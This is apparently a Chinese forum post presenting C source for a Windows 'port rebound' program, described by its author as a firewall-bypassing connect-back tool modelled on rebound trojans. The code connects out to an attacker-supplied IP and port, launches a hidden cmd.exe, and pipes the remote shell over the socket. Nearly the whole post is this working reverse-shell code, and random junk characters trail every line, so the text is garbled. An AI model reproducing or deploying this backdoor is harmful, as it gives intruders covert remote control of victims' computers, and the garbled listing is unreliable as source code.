Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 )s^gT]"N  
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/* ============================== eA(\#+)X `  
Rebound port in Windows NT /nA>ox78  
By wind,2006/7 d+v|&yN  
===============================*/ ]^.`}Y=`g  
#include  *\xRNgEQ  
#include ty~Sf-Pri  
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#pragma comment(lib,"wsock32.lib") Y=<ABtertS  
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void OutputShell(); 5OGwOZAj52  
SOCKET sClient; G@D;_$a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; lshSRir  
=/|GWQj  
void main(int argc,char **argv) O}cfb4"  
{ 4`#%<G  
WSADATA stWsaData; ,Aq, f$5V  
int nRet; B^dMYFelJ  
SOCKADDR_IN stSaiClient,stSaiServer; p%>!1_'(  
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if(argc != 3) Ja*,ht(5  
{ l2Py2ZI-b  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~oSA&v4V  
return; lmoYQFkYP  
} b}7g>  
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WSAStartup(MAKEWORD(2,2),&stWsaData); >^9j>< Z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LL3| U  
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stSaiClient.sin_family = AF_INET; (0 t{  
stSaiClient.sin_port = htons(0); =u9e5n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H/x9w[\+[  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b9.7j!W  
{ <]S M$)=D  
printf("Bind Socket Failed!\n"); O>rz+8T  
return; p|;#frj  
} >/GYw"KK  
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stSaiServer.sin_family = AF_INET; 
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 96F+I!qC  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |1OF!(:  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'zt}\ Dt  
{ P6^\*xkMr  
printf("Connect Error!"); Gqar5  
return; b7M)  
} xWQQX  
OutputShell(); ]a~gnz&1  
} p_g8d&]V  
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void OutputShell() 5iItgVT
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{ ,8p-EH  
char szBuff[1024]; y3'K+?4  
SECURITY_ATTRIBUTES stSecurityAttributes; :Ot5W  
OSVERSIONINFO stOsversionInfo; Q?m= a0g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F+Hmp\rM#  
STARTUPINFO stStartupInfo; F JxH{N6a  
char *szShell; ` NvJ  
PROCESS_INFORMATION stProcessInformation; 8`b_,(\N  
unsigned long lBytesRead; 5&U?\YNLa  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -Ze2]^#dl  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l(tMo7iPa  
stSecurityAttributes.lpSecurityDescriptor = 0; ~ln96*)M;  
stSecurityAttributes.bInheritHandle = TRUE; @F5QgO J&r  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M059"X="  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); TbR
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =G/`r!r*0I  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >R6>*|~S  
stStartupInfo.wShowWindow = SW_HIDE; pXxpEv  
stStartupInfo.hStdInput = hReadPipe; .sPa${  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (>x_fDv  
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GetVersionEx(&stOsversionInfo); u#34mg..  
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switch(stOsversionInfo.dwPlatformId)
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{ a s?)6  
case 1: M$GZK'%  
szShell = "command.com"; %MUwd@,  
break; NA8$G|.?  
default: M6b6lhg  
szShell = "cmd.exe"; baM@HpMhM  
break; M)CE%/P  
} =arrp:  
ob.=QQQs  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?qjlWCV|e  
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send(sClient,szMsg,77,0);
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while(1) 8klu*  
{ vb Mv8Nk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZiOL7#QWX  
if(lBytesRead) p8MPn>h<  
{ 7vs>PV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w[wrZ:[  
send(sClient,szBuff,lBytesRead,0); )`.'QW  
} [6Gb@jG  
else ]p2M!N,?  
{ T"$yh2tSY  
lBytesRead=recv(sClient,szBuff,1024,0); >w"k:O17  
if(lBytesRead<=0) break; Z6`[dAo  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w
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} mN:p=.& <  
} m0k~8^L@f  
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return; SBBi"U:  
}